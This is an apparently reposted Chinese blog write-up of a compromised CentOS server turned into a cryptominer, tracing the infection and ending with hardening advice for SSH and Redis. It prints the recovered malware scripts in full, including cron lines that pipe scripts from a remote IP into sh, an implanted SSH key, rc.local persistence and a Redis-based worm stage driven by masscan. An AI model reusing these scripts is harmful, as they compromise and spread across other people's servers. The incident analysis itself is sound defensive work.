暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

一次 Linux 服务器被入侵变矿机记实

ADMIN 2019-07-08
336


背景


周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。


不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。


我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!


查找线索


服务器系统是 CentOS 6.X,部署了 Nginx、Tomcat、Redis 等应用,上来先把数据库全备份到本地,然后 top 命令看了一下,有 2 个99%的同名进程还在运行,叫 gpg-agentd。




Google 了一下 gpg,结果是:

GPG 提供的 gpg-agent 提供了对 SSH 协议的支持,这个功能可以大大简化密钥的管理工作。

看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。继续:

    $ ps eho command -p 23374
    $ netstat -pan | grep 23374


    查看 pid:23374 进程启动路径和网络状况,也就是来到了图 1 的目录,到此已经找到了黑客留下的二进制可执行文件。接下来还有 2 个问题在等着我:

    1. 文件是怎么上传的?
    2. 这个文件的目的是什么,或是黑客想干嘛?

    history 看一下,记录果然都被清掉了,没留下任何痕迹。继续命令 more messages:




    看到了在半夜 12 点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意。


    下面详细讲,边找边猜。如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务。

      $ crontab -e



      果然,线索找到了。

      作案动机


      上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。我们把脚本下载下来看一下。

        $ curl -fsSL 159.89.190.243/ash.php > ash.sh


        脚本内容如下:

          uname -a
          id
          hostname
          setenforce 0 2>/dev/null
          ulimit -n 50000
          ulimit -u 50000
          crontab -r 2>/dev/null
          rm -rf var/spool/cron/* 2>/dev/null
          mkdir -p var/spool/cron/crontabs 2>/dev/null
          mkdir -p root/.ssh 2>/dev/null
          echo 'ssh-rsa


          AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
          redisX' > root/.ssh/authorized_keys
          echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > var/spool/cron/root
          echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > var/spool/cron/crontabs/root


          yum install -y bash 2>/dev/null
          apt install -y bash 2>/dev/null
          apt-get install -y bash 2>/dev/null


          bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null


          大致分析一下该脚本的主要用途:首先是关闭 SELinux,解除 Shell 资源访问限制,然后在 root/.ssh/authorized_keys 文件中生成 SSH 公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。

           

          继续下载并分析 bsh.pbp,内容如下:

            sleep $( seq 3 7 | sort -R | head -n1 )
            cd tmp || cd var/tmp
            sleep 1
            mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
            sleep 1
            if [ -f .watch ]; then
            rm -rf .watch
            exit 0
            fi
            sleep 1
            echo 1 > .watch
            sleep 1
            ps x | awk '!/awk/ && redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
            ps x | awk '!/awk/ && barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
            sleep 1
            if ! [ -x usr/bin/gpg-agentd ]; then
            curl -s -o usr/bin/gpg-agentd 159.89.190.243/dump.db
            echo '/usr/bin/gpg-agentd' > etc/rc.local
            echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> etc/rc.local
            echo 'exit 0' >> etc/rc.local
            fi
            sleep 1
            chmod +x usr/bin/gpg-agentd && usr/bin/gpg-agentd || rm -rf usr/bin/gpg-agentd
            sleep 1
            if ! [ -x "$(command -v masscan)" ]; then
            rm -rf var/lib/apt/lists/*
            rm -rf x1.tar.gz
            if [ -x "$(command -v apt-get)" ]; then
            export DEBIAN_FRONTEND=noninteractive
            apt-get update -y
            apt-get install -y debconf-doc
            apt-get install -y build-essential
            apt-get install -y libpcap0.8-dev libpcap0.8
            apt-get install -y libpcap*
            apt-get install -y make gcc git
            apt-get install -y redis-server
            apt-get install -y redis-tools
            apt-get install -y redis
            apt-get install -y iptables
            apt-get install -y wget curl
            fi
            if [ -x "$(command -v yum)" ]; then
            yum update -y
            yum install -y epel-release
            yum update -y
            yum install -y git iptables make gcc redis libpcap libpcap-devel
            yum install -y wget curl
            fi
            sleep 1
            curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
            sleep 1
            [ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
            fi
            sleep 3 && rm -rf .watch
            bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null


            这段脚本的代码比较长,但主要的功能有 4 个:


            • 下载远程代码到本地,添加执行权限,chmod u+x。

            • 修改 rc.local,让本地代码开机自动执行。

            • 下载 github 上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的 messages 里看到的记录。

            • 下载第三个脚本,并且执行。


            我去 Github 上看了下这个开源代码,简直吊炸天。

              MASSCAN: Mass IP port scanner


              This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine.


              It's input/output is similar to nmap, the most famous port scanner. When in doubt, try one of those features.


              Internally, it uses asynchronous tranmissions, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.


              NOTE: masscan uses a its own custom TCP/IP stack. Anything other than simple port scans may cause conflict with the local TCP/IP stack. This means you need to either the --src-ip option to run from a different IP address, or use --src-port to configure which source ports masscan uses, then also configure the internal firewall (like pf or iptables) to firewall those ports from the rest of the operating system.


               transmitting 10 million packets per second (每秒发送 1000 万个数据包),比 nmap 速度还要快,这就不难理解为什么阿里云把服务器冻结了,大概看了下 Readme 之后,我也没有细究,继续下载第三个脚本。

                setenforce 0 2>/dev/null
                ulimit -n 50000
                ulimit -u 50000
                sleep 1
                iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
                iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
                sleep 1
                rm -rf .dat .shard .ranges .lan 2>/dev/null
                sleep 1
                echo 'config set dbfilename "backup.db"' > .dat
                echo 'save' >> .dat
                echo 'flushall' >> .dat
                echo 'set backup1 "
                */2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
                "'
                >> .dat

                echo 'set backup2 "

                */3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
                "'
                >> .dat

                echo 'set backup3 "
                */4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh
                "'
                >> .dat

                echo 'set backup4 "

                */5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh
                "'
                >> .dat

                echo 'config set dir "/var/spool/cron/"' >> .dat
                echo 'config set dbfilename "root"' >> .dat
                echo 'save' >> .dat
                echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
                echo 'save' >> .dat
                sleep 1
                masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
                sleep 1
                while read -r h p; do
                cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
                done < .shard
                sleep 1
                masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
                sleep 1
                while read -r h p; do
                cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
                done < .ranges
                sleep 1
                ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet
                sleep 1
                masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
                sleep 1
                while read -r h p; do
                cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
                done < .lan
                sleep 60
                rm -rf .dat .shard .ranges .lan 2>/dev/null


                如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。


                一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞。

                结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的
                /root/.ssh/authorized_keys


                登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 masscan 进行全网扫描 Redis 服务器,寻找肉鸡。


                注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。


                总结

                通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 SSH Public Key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis漏洞复制,迅速在全网传播,以指数级速度增长。


                那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,bind 的地址是127.0.0.1,没啥问题。由此可以推断,应该是 root 帐号被暴力破解了,为了验证我的想法,我 lastb 看了一下,果然有大量的记录:




                还剩最后一个问题,这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。


                于是,顺手把这个 gpg-agentd 拖到 ida 中,用 string 搜索 bitcoin、eth、 mine 等相关单词,最终发现了这个:


                打开 nicehash.com 看一下,一切都清晰了。


                安全建议


                1. 服务器


                • 禁用 ROOT 用户

                • 用户名和密码尽量复杂

                • 修改 SSH 的默认22端口

                • 安装 DenyHosts 防暴力破解软件

                • 禁用密码登录,使用 RSA 公钥登录


                2. Redis


                • 禁用公网 IP 监听,包括 0.0.0.0

                • 使用密码限制访问 Redis

                • 使用较低权限帐号运行 Redis

                 

                至此,整个入侵过程基本分析完了,如果大家对样本有兴趣,也可以自行去Curl,或是去虚拟机执行上面的脚本。


                鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。

                来源:看雪社区
                原文:http://t.cn/RnpJj2e
                题图:
                来自谷歌图片搜索 
                版权:
                本文版权归原作者所有
                投稿:欢迎投稿,投稿邮箱: editor@hi-linux.com


                推荐阅读

                作者:Hefe

                出处:本文转载自微信,运维之美

                最后修改时间:2020-05-07 23:38:03
                文章转载自ADMIN,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                评论